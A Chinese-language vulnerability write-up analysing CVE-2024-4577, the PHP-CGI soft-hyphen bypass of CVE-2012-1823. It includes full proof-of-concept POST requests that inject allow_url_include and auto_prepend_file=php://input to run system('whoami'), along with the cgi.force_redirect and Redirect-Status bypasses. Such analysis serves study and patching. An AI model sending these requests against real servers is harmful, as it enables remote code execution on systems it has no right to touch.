分析CVE-2024-4577
首先知道这个cve实际上是一种对CVE-2012-1823的一种绕过
原先CVE-2012-1823
POST /index.php?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input HTTP/1.1 Host: xxxxx.com Content-Length: 25 <?php system("whoami");?>
后面官方修补的补丁中也就是把”-”这个字符给匹配过滤了
后面又有人找到了-的编码绕过方式,在我们带入参数拼接前宽字节会被转换,0x00ad显然不是一个完整的字节,而是一部分字节。 而在中文GBK编码中正好可以找到一个-来对其进行%ad编码从而绕过
主要差别在于(连字符-)变成了%AD
如果是这样的话
POST /info.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
将上一次的poc进行一定的修改就可以了,但是这里这样用不会有结果
因为当在复现的时候发现,只有在搭建完成后手动将一下代码注释
打开浏览器访问apache,这个时候server api才是CGI
只有这个时候我们可以执行成功
如果按照原来的不去对源代码进行注释修改,默认配置,应该是这样
因为apache在调用cgi时会查看环境变量REDIRECT_STATUS,而php-cgi为了确认是由apache调用的从而增加了一个开关cgi.force_redirect
,当值为1时默认开启,值为0时则关闭状态。
这样我们可以添加-d cgi.force_redirect=0即可绕过限制。
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1 Host: 192.168.199.12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Content-Type: application/x-www-form-urlencoded Content-Length: 25 <?php system('whoami');?>
访问成功
同理如果在http请求头中添加Redirect-Status: 1仍然可以绕过限制成功利用
POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1 Host: 192.168.199.12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Content-Type: application/x-www-form-urlencoded Content-Length: 25 Redirect-Status: 1 <?php system('whoami');?>
关于请求的构造
这里其实就是我要让其执行我的请求里的内容
首先我就要auto_prepend_file,这个会自动先执行php文件
那么我要把这个指向到我的请求内容里就是php://input(指的请求内容)
那么这个时候后面就构造好了
auto_prepend_file=php://input
allow_url_include=1那么目标服务器会从这个 URL 加载并执行该文件
因为漏洞本身是PHP 允许从远程 URL 加载文件
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)